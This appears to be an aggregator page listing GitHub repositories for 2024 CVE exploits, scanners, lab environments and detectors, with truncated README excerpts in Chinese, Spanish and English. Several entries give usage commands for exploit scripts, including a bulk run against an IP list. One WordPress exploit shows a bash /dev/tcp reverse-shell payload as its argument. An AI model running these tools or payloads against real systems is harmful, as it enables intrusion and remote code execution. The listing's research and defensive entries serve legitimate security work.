KTM_POCS

KTMPOCS This repo contains reports for CVE 2024-43570 and CVE 2024-43535, two vulnerabilities I found in the Windows Kernel Transaction Manager driver tm.sys. This repo also contains exploit code I used for the demos in the OffensiveCon25 Presentation: Hunting for Overlooked Cookies in Windows 11...

CVE-2024-38077

此存储库没有 README。...

CVE-2024-32002

CVE-2024-32002 Un generador de reverse shell para la vulnerabilidad gitlab-shell CVE-2024-32002 Esto aún está en fase de pruebas y lo actualizaré una vez terminado...

CVE-2024-9474

CVE-2024-9474 Palo Alto PAN-OS 漏洞 PoC 要求 不需要任何特殊要求，仅需 python3 和标准库 用法 root@kitploit: python3 cve.py --help root@kitploit: python3 cve.py -u URL 致谢 https://github.com/Chocapikk/CVE-2024-9474...

CVE-2024-1071-Docker

使用 Docker 搭建 CVE-2024-1071 漏洞环境 🎯 想要练习新的 WordPress CVE 吗？请按照以下说明操作。 搭建实验环境 1. 安装 Docker：https://docs.docker.com/get-docker/ 2. 克隆项目：git clone https://github.com/Trackflaw/CVE-2024-1071-Docker.git。 3. 进入项目目录：cd CVE-2024-1071-Docker 4. 启动 Docker Compose 文件：docker compose up -d。 5. 使用 root:root 凭据连接...

CVE-2024-38080

此存储库没有 README。...

Detectar-Backdoor-en-liblzma-de-XZ-utils-CVE-2024-3094-

检测 XZ-utils 的 liblzma 中的后门 CVE-2024-3094- 下面的 YARA 规则有助于检测在使用了 XZ 压缩工具 5.6.0 和 5.6.1 版本的系统中，liblzma 库中存在的后门。 这提供了一种识别可能因该漏洞而被利用的易受攻击系统的机制。通过在受影响系统上使用此规则，安全管理员可以搜索受损迹象，并采取纠正措施以降低后门被利用的风险。...

CVE-2024-24919

Toma una lista de IPs y puedes especificar hilos con -t python3 exploit.py -i ips.txt -t 15 -o output.txt Solo con fines educativos...

Debuggable-App-Exploit

CVE-2024-31317 可调试应用漏洞利用工具 一个基于 Python 的 CVE-2024-31317（Android Zygote 注入）漏洞利用工具，通过 hiddenapiblacklistexemptions 设置注入恶意的 zygote 参数，使得任何已安装的 Android 应用变为可调试。可选包含 Frida gadget 注入以实现运行时 hook。 概述 本漏洞利用工具利用了 Android Zygote 进程中的命令注入漏洞，以启用 debuggable 标志启动目标应用。这允许对任何应用进行 JDWP 调试和检查，无需 root 权限或应用的调试版本。...

FIX-CVE-2024-2961

在 Ubuntu（以及其他平台）上缓解 CVE-2024-2961 的快速而粗糙的 Shell 脚本 运行该 Shell 脚本即可。您可能还需要更改 gconv 配置的路径 Matt...

sentinelssh

SentinelSSH：高级 CVE-2024-6387 漏洞扫描器 SentinelSSH 是一款用 Go 编写的高级高性能 SSH 漏洞扫描器，专门用于检测各种网络环境中 OpenSSH 服务器上的 CVE-2024-6387 漏洞。 安装 要安装 SentinelSSH，请确保你的系统已安装 Go（1.16 或更高版本），然后运行： root@kitploit: go install github.com/harshinsecurity/sentinelssh/cmd/sentinelssh@latest 使用方法 安装完成后，可以直接在命令行中运行 SentinelSSH：...

wordpress-really-simple-security-authn-bypass-exploit

wordpress-really-simple-security-authn-bypass-exploit 这是一个 Python3 程序，用于利用 Really Simple Security 9.1.2 的身份验证绕过漏洞（CVE-2024-10924）。 免责声明 该工具供安全工程师和应用安全（AppSec）人员用于安全评估。请负责任地使用此工具。我对任何人使用此应用程序的方式不承担任何责任。对于因使用此工具而造成的任何损害或犯下的任何罪行，我概不负责。 漏洞信息 CVE-ID ：CVE-2024-10924 链接...

ThisSeemsWrong

La corrección para este problema apareció como CVE-2024-49746: boletín, parche "Esto parece incorrecto" El título anterior es el comentario del método Parcel::continueWrite, que en realidad es el responsable de redimensionar los objetos Parcel, ya sea cuando el usuario lo solicita explícitamente...

GeoServer-Tools-CVE-2024-36401

GeoServer-Tools-CVE-2024-36401 Herramienta de explotación gráfica para CVE-2024-36401, compatible con varias versiones de JDK, eco de comandos e implementación de memshell. Versiones afectadas: GeoServer 2.23.6 2.24.0 = GeoServer 2.24.4 2.25.0 = GeoServer 2.25.2 Recientemente, durante ejercicios ...

CVE-2024-8698-POC

https://huydoppa.hashnode.dev/analyst-cve-2024-8698-keycloak-with-zero-knowledge-about-keycloak...

-CVE-2024-24450-

-CVE-2024-24450- test later for hypo poc for CVE-2024-24450...

CVE-2024-53677

CVE-2024-53677 - Apache Struts 2 根因分析实验室环境 此仓库提供了一个基于 Docker 的环境，用于重现 Apache Struts 2 中的 CVE-2024-53677 漏洞。该漏洞涉及 Struts 2 文件上传功能中的路径遍历。 来源 此实验室环境基于我的博客文章 - CVE-2024-53677 - Apache Struts 文件上传漏洞导致 RCE 设置说明 该环境可以使用 Docker 构建和运行。按照以下步骤设置应用程序： root@kitploit: git clone...

CVE-2024-3400-Checker

CVE-2024-3400 检查程序 Palo Alto 防火墙 PAN-OS 远程命令注入检测程序 用法: 1. 安装requirements root@kitploit: python3 -m pip install -r requirements.txt 2. 运行 root@kitploit: python3 main.py 3. 如果需要重设线程，默认20线程 root@kitploit: checkmultitargetsurls=urllist, maxworkers=9 截图 更多信息 https://github.com/h4x0r-dz/CVE-2024-3400...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originalmente, CVE-2023–26326 requería cadenas de gadgets para explotarla como una vulnerabilidad de deserialización. Este método ya no es viable en sitios WordPress más nuevos que ejecutan PHP 8+; sin embarg...

CVE-2024-24919-Bulk-Scanner

CVE-2024-24919 批量扫描器 CVE-2024-24919 Check Point 安全网关信息泄露 脚本基于以下内容编写，致谢：https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/ 此 Python 脚本通过发送特定的 POST 请求并检查响应头和状态码，扫描 URL 列表以发现 CVE-2024-24919 漏洞。它会记录请求和响应详情，并根据预定义的标准识别易受攻击的 URL。 !WARNING 仅用于企业环境中的教育和测试。 https://x.com/nav1n/ 与...